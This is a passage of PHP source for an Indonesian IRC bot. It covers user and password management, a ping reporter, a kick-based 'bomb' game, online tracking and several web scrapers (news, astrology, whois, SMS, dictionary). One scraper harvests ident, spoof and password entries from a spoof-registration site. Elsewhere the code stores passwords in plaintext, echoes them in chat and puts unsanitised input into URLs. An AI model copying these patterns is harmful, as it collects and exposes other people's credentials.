$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
}else{
$this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.');
}
} else {$this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> <master|user>');}
}
elseif ($auth["$nick"]["status"]=="master") {
if (!$auth["$nick"]["name"]) {
if ($level=="user") {
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
} else { $this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> user'); }
} else { $this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.'); }
} else {$this->notice($sock,$nick,'Unknown Status! Your Status is '.$auth["$nick"]["status"]);}
}
}
function del_user($sock,$nick,$user){
global $auth;
$anick=$nick;
$nick = strtolower($nick);
$user = strtolower($user);
if ($auth["$nick"]["auth"]==2) {
if ($auth["$nick"]["status"]=="Owner") {
if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user" || $auth["$user"]["status"]=="admin") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else {$this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
elseif ($auth["$nick"]["status"]=="admin") {
if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else {$this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
elseif ($auth["$nick"]["status"]=="master") {
if ($auth["$user"]["status"]=="user") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else { $this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
}
}
function chgpass_user($sock,$nick,$oldpass,$newpass){
global $auth;
$anick=$nick;
$nick = strtolower($nick);
if ($auth["$nick"]["auth"]==2) {
if ($oldpass===$auth["$nick"]["pass"]) {
$auth["$nick"]["pass"] = $newpass;
$this->notice($sock,$nick,'Password set to: 4'.$auth["$nick"]["pass"].' 4');
} else {$this->msg($sock,$nick,'PASSWORD 4!FaILED! ');}
}
}
function level_user($nick){
global $auth;
$nick=strtolower($nick);
if ($auth["$nick"]["status"]=="user"){$stauth=1;}
elseif ($auth["$nick"]["status"]=="master"){$stauth=2;}
elseif (strtolower($auth["$nick"]["status"])=="admin"){$stauth=3;}
elseif (strtolower($auth["$nick"]["status"])=="owner"){$stauth=4;}
else{$stauth=0;};
return $stauth;
}
function is_userbot($nick){
global $auth;
$isuser=0;$nick=strtolower($nick);
if ($auth["$nick"]) {if ($auth["$nick"]["pass"]) {$isuser=1;}}
return $isuser;
}
function is_loginbot($nick,$ident,$host){
global $auth;
$islogin=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
if($auth["$nick"]["auth"]==2){
if($auth["$nick"]["ident"]==$ident){
if($auth["$nick"]["host"]==$host){
$timelog=time()- $auth["$nick"]["time"];
if($timelog<=3600){ $auth["$nick"]["time"]=time();$islogin=1;}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}
return $islogin;
}
function loginbot($nick,$ident,$host,$pass){
global $auth;
$sukseslog=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
if($pass===$auth["$nick"]["pass"]){
$auth["$nick"]["auth"]=2;$auth["$nick"]["time"]=time();$sukseslog=1;
}
}
return $sukseslog;
}
function logoutbot($nick){
global $auth;
$sukseslog=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
$auth["$nick"]["auth"]=1;$auth["$nick"]["time"]=time();$sukseslog=1;
}
return $sukseslog;
}
###############################
function stuf_ping($sock,$chan,$nick){
global $ping;
$sendping=time();$ping["$sendping"]["ping"] = time();
$ping["$sendping"]["chan"] = $chan;$ping["$sendping"]["nick"] = strtolower($nick);
$this->msg($sock,$nick,' PING '.$ping["$sendping"]["ping"].' ');
}
function stuf_lag($sock,$nick,$dataping){
global $ping;
$dataping=str_replace(chr(1),"",$dataping);$dataping=str_replace("\r","",$dataping);
$dataping=str_replace("\n","",$dataping);$dataping=str_replace(" ","",$dataping);
if ($ping["$dataping"]["ping"]==$dataping && $ping["$dataping"]["nick"]==strtolower($nick)){
$pong = time();$pptime = $pong - $dataping;$meni = "";
$wakptime=$pptime;
if ($pptime>=60) {
$bag = $pptime / 60;$meni = floor($bag)."mins ";$sis = $pptime - ($meni*60);$pptime = $sis;
}
$deti = $pptime."secs";$pptime = "$meni$deti";
$mswktny=array("0","1","2","3","4","5","6","7","8","9");
$ttlny =array("32","42","46","48","56","62");
$wktny1 = $mswktny[rand(0,count($mswktny) - 1)];
$wktny2 = $mswktny[rand(0,count($mswktny) - 1)];
$wktny3 = $mswktny[rand(0,count($mswktny) - 1)];
$ttlar= $ttlny[rand(0,count($ttlny) - 1)];
$mswktny = ( $wktny1.$wktny2.$wktny3 );
$wktuping = ( $wakptime.'.'.$mswktny );
if ($wakptime<=5){$stping="aLasan doang ngePing..-_-!! ";
}elseif($wakptime>=5){$stping="Lumayan guys..! ";
}elseif($wakptime>=10){$stping="Lemot banget guys..! ";
}elseif($wakptime>=15){$stping="Wah Macet ni guys..! ";
}elseif($wakptime>=20){$stping="Ganti server aja guys..-_-! ";
}elseif($wakptime>=25){$stping="Wah udah parah buanget..! ";
}
$this->msg($sock,$ping["$dataping"]["chan"],' PING Detection For '.$nick.' : '.$pptime);
$this->notice($sock,$nick,$stping.$nick);
unset($ping["$dataping"]["nick"]);unset($ping["$dataping"]["ping"]);unset($ping["$dataping"]["chan"]);
}
}
#############################
function stuf_potong($sock,$nickna,$chan,$pilwar){
global $warnabenar,$bw,$targetboom,$goboom,$onboom,$chanboom;
$pilihanwar=strtolower($pilwar);$warnabenar=strtolower($warnabenar);
if(strtolower($nickna)==strtolower($targetboom) && strtolower($chanboom)==strtolower($chan)){
if($pilihanwar==strtolower($bw[0]) || $pilihanwar==strtolower($bw[1]) || $pilihanwar=="biru" ){
if($warnabenar==$pilihanwar){
$this->msg($sock,$chan,'Selamat '.$nickna.', kamu berhasil menjinakkan Bom!!');
$this->mode($sock,'+vvv',$chan,$nickna);
}
else{
// $this->kickserv($sock,$chan,$nickna,'BOMMMM!!!!! Selamat anda kena bom.');
$this->kick($sock,$chan,$nickna,' BOM.... !!!!! Selamat anda kena bom.');
}
$goboom=0;$onboom="off";$targetboom="";$chanboom="";
}
}
}
function stuf_bom($sock,$chan,$targetbm){
global $chanboom,$bot,$onboom,$warnaboom,$targetboom,$bw,$goboom,$tmpwbom,$tmboom,$warnabenar,$timeboom;
if(strpos(strtolower($this->show_nickchan($chan)),' '.strtolower($targetbm).' ') && $onboom=="off" && $targetbm!=strtolower($bot['nick'])){
$onboom="on";$goboom=0;$targetboom=$targetbm;$chanboom=$chan;
$tmpwbom=$warnaboom;$wrnb=explode(";",$tmpwbom);
$bw[0]=$wrnb[rand(0,count($wrnb) - 1)];unset($wrnb);
$tmpwbom=str_replace($bw[0],"",$tmpwbom);$tmpwbom=str_replace(";;",";",$tmpwbom);
$wrnb=explode(";",$tmpwbom);
$bw[1]=$wrnb[rand(0,count($wrnb) - 1)];
unset($wrnb);
$tmboom=time();$warnabenar=$bw[rand(0,count($bw) - 1)];
$this->act($sock,$chan,'memasukan BOM ke dalam swempak '.$targetbm .' '.$warnabenar);
$this->msg($sock,$chan,$targetbm.'!! kamu punya waktu [ '.$timeboom.' ] detik. Jinakkan Bom dengan memotong kabel yg benar. Dan hanya ada tiga kabel. '.$bw[0] .', '.$bw[1].' dan Biru');
}
}
#############################
function stuf_ison($sock,$msg){
global $listison,$chanson,$ada2,$ada1;
$listson=strtolower($msg);$xpgetison=explode(" ",$listson);
$i=0;$jmlolol=0;
foreach ($xpgetison as $pgetlist){if($pgetlist){$i++;$sonson[$i]=$pgetlist;$jmlolol=$i;}}
$i=0;
foreach ($listison as $pgetlist){if ($pgetlist){$i++;$lsonson[$i]=$pgetlist;$jmlson=$i;}}
$dafonline="";$dafoffline="";
for ($i = 1; $i <= $jmlson; $i++) {
$satup=$lsonson[$i];$ds=0;
for ($p = 1; $p <= $jmlolol; $p++) {if ($satup==$sonson[$p]){$ds=1;}}
if ($ds==1){if(!$ada1["$satup"]){$dafonline .=$satup.' ';$ada1["$satup"]=true;$ada2["$satup"]=false;}}
else{if(!$ada2["$satup"]){$dafoffline .=$satup.' ';$ada2["$satup"]=true;$ada1["$satup"]=false;}}
}
$dafonline=ltrim($dafonline);$dafonline=rtrim($dafonline);$dafoffline=ltrim($dafoffline);$dafoffline=rtrim($dafoffline);
if ($dafonline){fputs($sock, 'PRIVMSG '. $chanson .' : 12< 3< 11( 04 I son 11) 3> 12> On IRC : '.$dafonline . CRLF);}
if ($dafoffline){fputs($sock, 'PRIVMSG '. $chanson .' : 12< 3< 11( 04 I son 11) 3> 12> Left IRC : '.$dafoffline . CRLF);}
unset($lsonson);unset($sonson);
}
function add_ison($str){
global $listison;
$str=strtolower($str);
if(in_array($str,$listison)){return 0;}
else{array_push($listison,$str);return 1;}
}
function show_ison(){
global $listison;
$str_ison="";
foreach ($listison as $lstr){$str_ison.=$lstr . ' ';}
$str_ison=str_replace(" "," ",$str_ison);$str_ison=ltrim($str_ison);$str_ison=rtrim($str_ison);
return $str_ison;
}
function del_ison($str){
global $listison;
$str_ison="";$str=strtolower($str);
if(in_array($str,$listison)){
foreach ($listison as $lstr){
if(strtolower($str)!=strtolower($lstr)){
$str_ison.=$lstr . ';';
}
}
$str_ison=str_replace(";;",";",$str_ison);$str_ison=ltrim($str_ison,";");$str_ison=rtrim($str_ison,";");
$listison=explode(";",strtolower($str_ison));
return 1;
}
else{return 0;}
}
###############################
function auto_cy($sock){
global $systembot,$user_chan_arr;
$this->send($sock,"PING :88888654476");
foreach ($user_chan_arr as $cur_xchan) {
if($systembot['AUTOCYCLE'][strtoupper($cur_xchan["chan"])]==" 3ON "){
$this->part($sock,$cur_xchan["chan"],$this->rnd_cycle());sleep (2);$this->join($sock,$cur_xchan["chan"]);sleep(3);
}
}
return "";
}
##############################
function mod_lookfs($sock,$msg){
$this->send($sock,"PING :0000927651");
$fslist=$msg;
$whoisiplist = "http://www.friendster.com/search/user?country=ID&query=$fslist";
$lihatiplist = fopen ($whoisiplist, "rb");
$spasipol = "";
$katacari=strtolower("View Profile");
do {
$barislistip = fread($lihatiplist, 512);
if(strlen($barislistip) == 0){ break; }
$spasipol .= $barislistip;
} while(true);
fclose ($lihatiplist);
$spasipol= strtolower($spasipol);
$spasipol= str_replace(" "," ",$spasipol);
$spasipol= str_replace("\n"," ",$spasipol);
$spasipol= str_replace(chr(9)," ",$spasipol);
$spasipol= str_replace("\r"," ",$spasipol);
$spasipol= str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$spasipol);
for ($i = 1; $i <= 10; $i++) {$spasipol = str_replace(" "," ",$spasipol);}
$spasipol = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$spasipol);
$ipnya=$spasipol;
$lenspasipol=strlen($ipnya);
if(ereg("search returned zero", $ipnya)){
$ipnya="goblok ngawur";
}
else{
$ltextip=0;
$leftipnya=0;
$adaip=0;
do{
$ltextip=$ltextip+1;
$iphasil=substr($ipnya,$ltextip,$lenspasipol);
$iphasil=substr($iphasil,0,strlen($katacari));
$iphasil=strtolower($iphasil);
if($iphasil==$katacari){$leftipnya=$ltextip;$adaip=1;break;}
if($ltextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,$leftipnya+strlen($katacari),$lenspasipol);
$katacari=strtolower("href=");
$ltextip=0;
$leftipnya=0;
$adaip=0;
do{
$ltextip=$ltextip+1;
$iphasil=substr($ipnya,$ltextip,$lenspasipol);
$iphasil=substr($iphasil,0,strlen($katacari));
$iphasil=strtolower($iphasil);
if($iphasil==$katacari){$leftipnya=$ltextip;$adaip=1;break;}
if($ltextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,$leftipnya+strlen($katacari),$lenspasipol);
$katacari=strtolower("<div class=");
$lenspasipol=strlen($ipnya);
$rtextip=0;
$rightipnya=0;
do{
$rtextip=$rtextip+1;
$iphasil=substr($ipnya,$rtextip,$lenspasipol);
$iphasil=substr($iphasil,0,strlen($katacari));
$iphasil=strtolower($iphasil);
if($iphasil==$katacari){$rightipnya=$rtextip;$adaip=1;break;}
if($rtextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,0,$rightipnya);
$ipnya= str_replace("</a>"," ",$ipnya);
$ipnya= str_replace("<span class","",$ipnya);
$ipnya= str_replace("entitytype","",$ipnya);
$ipnya= str_replace("(musician)","",$ipnya);
$ipnya= str_replace("</span>","",$ipnya);
$ipnya= str_replace("</div>"," ",$ipnya);
$ipnya= str_replace("<br>"," ",$ipnya);
$ipnya= str_replace(">"," ",$ipnya);
}
return $ipnya;
}
function mod_astro($astro){
global $zodiak;
$astro = strtolower($astro);
$this->send($sock,"PING :1097658652");
if (in_array($astro, $zodiak)) {
$pages = "http://www.astaga.com/astrologi/?cat=$astro";
$handi = fopen ($pages, "rb");
$konten = "";
do {
$baris = fread($handi, 512);
if (strlen($baris) == 0) { break; }
$konten .= $baris;
} while(true);
fclose ($handi);
$this->send($sock,"PING :1097658651");
$zod1 = stristr($konten,'<td id=ast><p>');
$zod2 = stristr($zod1,'</table>');
$bintang = str_replace($zod2,"",$zod1);
$bintang = str_replace("\n","",$bintang);
$bintang = str_replace("<td id=ast><p>"," ".ucfirst(strtolower($astro))." ",$bintang);
$bintang = str_replace("</p>"," ",$bintang);
$bintang = str_replace("<p><b>"," ",$bintang);
$bintang = str_replace("</b>"," ",$bintang);
$bintang = str_replace("</td>","",$bintang);
$bintang = str_replace("<b>"," ",$bintang);
$bintang = str_replace("</td>","",$bintang);
$bintang = str_replace("</tr>","",$bintang);
$bintang = str_replace("<tr>","",$bintang);
$zod3 = stristr($bintang,'<td colspan=2 id=ast bgcolor="#e0e0e0">');
$bintang = str_replace($zod3,"",$bintang);
return $bintang;
}
else{
return "Maaf nama bintang yg km masukan tdk ada";
}
}
function mod_lookberita($sock){
$this->send($sock,"PING :0000927651");
$tanggalsekarang=date("j/m/Y");
$whoisiplist = "http://berita.liputan6.com";
$lihatiplist = fopen ($whoisiplist, "rb");
$spasipol = "";
do {
$barislistip = fread($lihatiplist, 512);
if(strlen($barislistip) == 0){ break; }
$spasipol .= $barislistip;
} while(true);
fclose ($lihatiplist);
$spasipol= strtolower($spasipol);
$spasipol= str_replace(" "," ",$spasipol);
$spasipol= str_replace("\n","",$spasipol);
$spasipol= str_replace(chr(9),"",$spasipol);
$spasipol= str_replace("\r","",$spasipol);
$spasipol= str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$spasipol);
for ($i = 1; $i <= 10; $i++) {$spasipol = str_replace(" "," ",$spasipol);}
$spasipol = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$spasipol);
$ipnya=$spasipol;
$lenspasipol=strlen($ipnya);
if(ereg("no entries found", $ipnya)){
$ipnya="Duh Mbuh gak ngerti aQ";
}
else{
$ltextip=0;
$leftipnya=0;
$adaip=0;
do{
$ltextip=$ltextip+1;
$iphasil=substr($ipnya,$ltextip,$lenspasipol);
$iphasil=substr($iphasil,0,strlen($tanggalsekarang));
$iphasil=strtoupper($iphasil);
if($iphasil==$tanggalsekarang){$leftipnya=$ltextip+18;$adaip=1;break;}
if($ltextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,$leftipnya,$lenspasipol);
$lenspasipol=strlen($ipnya);
$rtextip=0;
$rightipnya=0;
do{
$rtextip=$rtextip+1;
$iphasil=substr($ipnya,$rtextip,$lenspasipol);
$iphasil=substr($iphasil,0,6);
$iphasil=strtolower($iphasil);
if($iphasil=="</div>"){$rightipnya=$rtextip;$adaip=1;break;}
if($rtextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,0,$rightipnya);
}
$ipnya=str_replace("</h6>"," ",$ipnya);
$ipnya=str_replace("</span>"," ",$ipnya);
$ipnya=str_replace("<a href="," ",$ipnya);
$ipnya=str_replace(">","",$ipnya);
$ipnya=str_replace("</a>"," ",$ipnya);
$ipnya=str_replace("</li>"," ",$ipnya);
$ipnya=str_replace("<span","",$ipnya);
$ipnya=str_replace("<span","",$ipnya);
$ipnya=str_replace("<span","",$ipnya);
$ipnya=str_replace("class=","",$ipnya);
$ipnya=str_replace("time","",$ipnya);
if(strlen($ipnya) >= 225 ){$ipnya=substr($ipnya,0,225);}
global $systembot,$user_chan_arr;
foreach ($user_chan_arr as $cur_xchan) {
if($systembot['BERITA'][strtoupper($cur_xchan["chan"])]==" 3ON "){
$this->msg($sock,$cur_xchan["chan"],'[ info ] 4'.$ipnya);sleep (2);
}
}
$ipnya="";
return $ipnya;
}
function mod_lookberitaperson($sock){
$this->send($sock,"PING :0000927651");
$tanggalsekarang=date("j/m/Y");
$whoisiplist = "http://berita.liputan6.com";
$lihatiplist = fopen ($whoisiplist, "rb");
$spasipol = "";
do {
$barislistip = fread($lihatiplist, 512);
if(strlen($barislistip) == 0){ break; }
$spasipol .= $barislistip;
} while(true);
fclose ($lihatiplist);
$spasipol= strtolower($spasipol);
$spasipol= str_replace(" "," ",$spasipol);
$spasipol= str_replace("\n","",$spasipol);
$spasipol= str_replace(chr(9),"",$spasipol);
$spasipol= str_replace("\r","",$spasipol);
$spasipol= str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$spasipol);
for ($i = 1; $i <= 10; $i++) {$spasipol = str_replace(" "," ",$spasipol);}
$spasipol = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$spasipol);
$ipnya=$spasipol;
$lenspasipol=strlen($ipnya);
if(ereg("no entries found", $ipnya)){
$ipnya="Duh Mbuh gak ngerti aQ";
}
else{
$ltextip=0;
$leftipnya=0;
$adaip=0;
do{
$ltextip=$ltextip+1;
$iphasil=substr($ipnya,$ltextip,$lenspasipol);
$iphasil=substr($iphasil,0,strlen($tanggalsekarang));
$iphasil=strtoupper($iphasil);
if($iphasil==$tanggalsekarang){$leftipnya=$ltextip+18;$adaip=1;break;}
if($ltextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,$leftipnya,$lenspasipol);
$lenspasipol=strlen($ipnya);
$rtextip=0;
$rightipnya=0;
do{
$rtextip=$rtextip+1;
$iphasil=substr($ipnya,$rtextip,$lenspasipol);
$iphasil=substr($iphasil,0,6);
$iphasil=strtolower($iphasil);
if($iphasil=="</div>"){$rightipnya=$rtextip;$adaip=1;break;}
if($rtextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,0,$rightipnya);
}
$ipnya=str_replace("</h6>"," ",$ipnya);
$ipnya=str_replace("</span>"," ",$ipnya);
$ipnya=str_replace("<a href="," ",$ipnya);
$ipnya=str_replace(">","",$ipnya);
$ipnya=str_replace("</a>"," ",$ipnya);
$ipnya=str_replace("</li>"," ",$ipnya);
$ipnya=str_replace("<span","",$ipnya);
$ipnya=str_replace("<span","",$ipnya);
$ipnya=str_replace("<span","",$ipnya);
$ipnya=str_replace("class=","",$ipnya);
$ipnya=str_replace("time","",$ipnya);
if(strlen($ipnya) >= 225 ){$ipnya=substr($ipnya,0,225);}
return $ipnya;
}
function mod_kirimsms($sock,$nomorsms,$msg){
$this->send($sock,"PING :0000927651");
$nomorsmske=$nomorsms;$pesansms=$msg;
$websmsgratisnya = "http://www.smscepat.com/";
$lihatiplist = fopen ($websmsgratisnya, "rb");
$spasipol = "";
do {
$barislistip = fread($lihatiplist, 512);
if(strlen($barislistip) == 0){ break; }
$spasipol .= $barislistip;
} while(true);
fclose ($lihatiplist);
$spasipol= strtolower($spasipol);
$spasipol= str_replace(" "," ",$spasipol);
$spasipol= str_replace("\n","",$spasipol);
$spasipol= str_replace(chr(9),"",$spasipol);
$spasipol= str_replace("\r","",$spasipol);
$spasipol= str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$spasipol);
for ($i = 1; $i <= 10; $i++) {$spasipol = str_replace(" "," ",$spasipol);}
$spasipol = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$spasipol);
$ipnya=$spasipol;
$lenspasipol=strlen($ipnya);
if(ereg("no entries found", $ipnya)){
$ipnya="Gagal";
}else{$ipnya="Terkirim ke ".$nomorsmske;}
return $ipnya;
}
function mod_lookip($sock,$msg){
$this->send($sock,"PING :0000927651");
$iplist=$msg;
$whoisiplist = "http://wq.apnic.net/apnic-bin/whois.pl?searchtext=$iplist";
$lihatiplist = fopen ($whoisiplist, "rb");
$spasipol = "";
do {
$barislistip = fread($lihatiplist, 512);
if(strlen($barislistip) == 0){ break; }
$spasipol .= $barislistip;
} while(true);
fclose ($lihatiplist);
$spasipol= strtolower($spasipol);
$spasipol= str_replace(" "," ",$spasipol);
$spasipol= str_replace("\n","",$spasipol);
$spasipol= str_replace(chr(9),"",$spasipol);
$spasipol= str_replace("\r","",$spasipol);
$spasipol= str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$spasipol);
for ($i = 1; $i <= 10; $i++) {$spasipol = str_replace(" "," ",$spasipol);}
$spasipol = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$spasipol);
$ipnya=$spasipol;
$lenspasipol=strlen($ipnya);
if(ereg("no entries found", $ipnya)){
$ipnya="Duh Mbuh gak ngerti aQ";
}
else{
$ltextip=0;
$leftipnya=0;
$adaip=0;
do{
$ltextip=$ltextip+1;
$iphasil=substr($ipnya,$ltextip,$lenspasipol);
$iphasil=substr($iphasil,0,7);
$iphasil=strtolower($iphasil);
if($iphasil=="netname"){$leftipnya=$ltextip;$adaip=1;break;}
if($ltextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,$leftipnya,$lenspasipol);
$lenspasipol=strlen($ipnya);
$rtextip=0;
$rightipnya=0;
do{
$rtextip=$rtextip+1;
$iphasil=substr($ipnya,$rtextip,$lenspasipol);
$iphasil=substr($iphasil,0,7);
$iphasil=strtolower($iphasil);
if($iphasil=="admin-c"){$rightipnya=$rtextip;$adaip=1;break;}
if($rtextip>=$lenspasipol){$adaip=0;break; }
} while(true);
$ipnya=substr($ipnya,0,$rightipnya);
}
$ipnya=str_replace(" ","",$ipnya);
$ipnya=str_replace("--"," ",$ipnya);
$ipnya=str_replace("__","",$ipnya);
$ipnya=str_replace("**","",$ipnya);
$ipnya=str_replace("--"," ",$ipnya);
$ipnya=str_replace("remarks:","",$ipnya);
$ipnya=str_replace("descr:","",$ipnya);
$ipnya=str_replace("country:"," negara:",$ipnya);
$ipnya=str_replace("<a href=","",$ipnya);
$ipnya=str_replace("</a>","",$ipnya);
$ipnya=str_replace(">","",$ipnya);
$ipnya=str_replace("important:","",$ipnya);
return $ipnya;
}
function mod_uspoof($sock,$msg){
global $isisp,$jmlspoof;
$this->send($sock,"PING :0000927651");
$spoof=strtolower($msg);
$spallnet = "http://www.allnetwork.or.id/Pendaftaran/Personal_spoof/?mode=view&server=$spoof";
///$spallnet="http://localhost/spoof1.html";
$handisp = fopen ($spallnet, "rb");
$kontensp = "";
do {
$barissp = fread($handisp, 512);
if (strlen($barissp) == 0) { break; }
$kontensp .= $barissp;
} while(true);
fclose ($handisp);
$kontensp=strtolower($kontensp);
$kontensp = str_replace(" "," ",$kontensp);
$kontensp = str_replace("\n","",$kontensp);
$kontensp = str_replace(chr(9),"",$kontensp);
$kontensp = str_replace("\r","",$kontensp);
$kontensp = str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$kontensp);
for ($i = 1; $i <= 10; $i++) {$kontensp = str_replace(" "," ",$kontensp);}
$kontensp = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$kontensp);
$tmpjml1=stristr($kontensp,"<tr bgcolor=yellow><td colspan=10 align=right>found ");
$tmpjml2=stristr($kontensp," data</td></tr>");
$tmpjml=str_replace($tmpjml2,"",$tmpjml1);
$tmpjml=str_replace("<tr bgcolor=yellow><td colspan=10 align=right>found ","",$tmpjml);
$kontensp = str_replace("</td> <td>","</td><td>",$kontensp);
$kontensp = str_replace("<tr bgcolor=white> <td align=right>","<tr bgcolor=white><td align=right>",$kontensp);
$kontensp = str_replace("</tr> <tr","</tr><tr",$kontensp);
$kontensp = str_replace(" </td>","</td>",$kontensp);
$kontensp =str_replace("> <td","><td",$kontensp);
for ($i = 1; $i <= $tmpjml; $i++) {
if ($i==$tmpjml){
$identsp="";$spoofsp="";$passsp="";
$tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
$tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=#1b6cf7>"));
$tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
$identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
$spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
$passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
$isisp[$i]["$spoof"]['ident']=$identsp;
$isisp[$i]["$spoof"]['spoof']=$spoofsp;
$isisp[$i]["$spoof"]['pass']=$passsp;
}
else{
$identsp="";$spoofsp="";$passsp="";
$tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
$tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=white>"));
$tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
$identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
$spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
$passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
$isisp[$i]["$spoof"]['ident']=$identsp;
$isisp[$i]["$spoof"]['spoof']=$spoofsp;
$isisp[$i]["$spoof"]['pass']=$passsp;
}
}
$jmlspoof["$spoof"]=$tmpjml;
return $jmlspoof["$spoof"];
}
function mod_uslang($sock,$msg){
global $kmusedan,$kmjml;
//$urledan="http://localhost/aa.html";
$urledan="http://www.malesbanget.com/kamus/definisi.php?kata=".$msg;
$btsstr='<td class='.chr(34).'BOX'.chr(34).'><span class='.chr(34).'KAMUS'.chr(34).'><span class='.chr(34).'kecil'.chr(34).'>';
$btsstrtab1='<table width='.chr(34).'100%'.chr(34).' border='.chr(34).'0'.chr(34).' cellpadding='.chr(34).'0'.chr(34).' cellspacing='.chr(34).'0'.chr(34).'>';
$btsstrtab2='</table>';
$strsplit='<h2 align='.chr(34).'left'.chr(34).'>';
$kedan = fopen ($urledan, "rb");
$cotedan = "";
do {
$bcotedan = fread($kedan, 1024);
if (strlen($bcotedan) == 0) { break; }
$cotedan .= $bcotedan;
} while(true);
fclose ($kedan);
if(strpos($cotedan,$btsstr)){
$cotedan=substr($cotedan,strpos($cotedan,$btsstr) + strlen($btsstr));
$cotedan=substr($cotedan,0,strpos($cotedan,$btsstr));
$cotedan=substr($cotedan,0,strpos($cotedan,'<p><span class='.chr(34).'signature'.chr(34).'>'));
$intedan=substr_count($cotedan," ");
for ($i = 1; $i <= $intedan; $i++) {$cotedan=str_replace(" "," ",$cotedan);}
$intedan=substr_count($cotedan,$btsstrtab1);
for ($i = 1; $i <= $intedan; $i++) {
$tmpctedan='';
$tmpctedan=substr($cotedan,strpos($cotedan,$btsstrtab1));
$tmpctedan=substr($tmpctedan,0,strpos($tmpctedan,$btsstrtab2) + strlen($btsstrtab2));
